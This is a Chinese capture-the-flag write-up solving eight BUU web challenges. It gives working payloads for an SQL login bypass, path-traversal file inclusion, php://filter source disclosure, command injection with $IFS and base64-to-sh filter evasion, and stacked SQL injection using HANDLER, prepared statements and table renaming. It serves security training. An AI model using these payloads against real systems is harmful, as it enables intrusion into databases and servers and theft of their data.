BUU Web方向题解 1-8
[极客大挑战 2019]EasySQL
解题思路
万能密码
总结
万能密码1' or '1'='1
[HCTF 2018]WarmUp
解题思路
F12查看源码
查看source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
根据源码查看hint.php
审计代码,任意文件包含漏洞,但是有过滤,目录深度多尝试几次,有两种方式绕过:
在第三个if绕过检查:source.php?../../../../../ffffllllaaaagggg
在第四个if绕过检查:source.php%3f../../../../../ffffllllaaaagggg
总结
无
[极客大挑战 2019]Havefun
解题思路
F12
<?php
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
};
?>
GET参数?cat=dog
总结
无
[ACTF2020 新生赛]Include
解题思路
tips
参数变为file=flag.php
,猜想是文件包含,但是flag输出应该被注释掉了,因此
?file=php://filter/read=convert.base64-encode/resource=flag.php
解码得到flag
总结
利用filter协议读文件,通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。
[ACTF2020 新生赛]Exec
解题思路
明显的命令执行漏洞
payload:127.0.0.1;cat /flag
总结
利用;
将命令截断,接着可以执行自定义的命令
[强网杯 2019]随便注
解题思路
堆叠注入
1';show databases;#
查看表
1';use supersqli;show tables;#
尝试查看表"1919810931114514",发现被过滤
1’;select * from 1919810931114514
;#注意字符串做表名加`
此时有两种思路:
- 绕过select过滤
- handler
1’;HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;#
- prepare stmt
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
- 利用已知回显
对照输出和words表内容,发现输出是从words表中选出
因此我们的思路就是把flag所在表的内容替换到words表
#分段是为了理解 1'; rename table `words` to `words1`; rename table `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not NULL;#
这几种方式都能得到flag
总结
- 绕过select过滤
- handler
- prepare stmt
- 替换表内容,利用已知回显输出
- 常规注入不行的情况下尝试堆叠注入,尤其是输出格式符合var_dump的
[SUCTF 2019]EasySQL
解题思路
输入非0数字回显1,输入0回显0,可以判断为select query||string from Flag;
表名堆叠注入可得到
这样输入*,1
,组成的sql语句为select *,1||flag from Flag;
但是这道题,||
就算输入了真正的flag,也不会出现答案,没有什么实际意义,为了出题而出题罢了
另一个解是把||
转化成concat:
1;set sql_mode=pipes_as_concat;select 1
总结
数字和字符串或,会把字符串强制转化为整数,提取开头到第一个非数字为字符串转化的值
select 0||'111aaaa2222'; #输出1
select 1||'aaaa'; #输出0
[GXYCTF2019]Ping Ping Ping
解题思路
很明显是命令执行,但是过滤很多
payload:?ip=127.0.0.1;cat$IFS$9index.php
可以看到引号、括号、空格和正反斜杠都被过滤了,因此替代空格的方式剩下有:
$IFS
$IFS$9
flag也被过滤,变量拼接
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
得到flag
也可以用编码绕过
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
总结
绕过姿势可见CTF WEB总结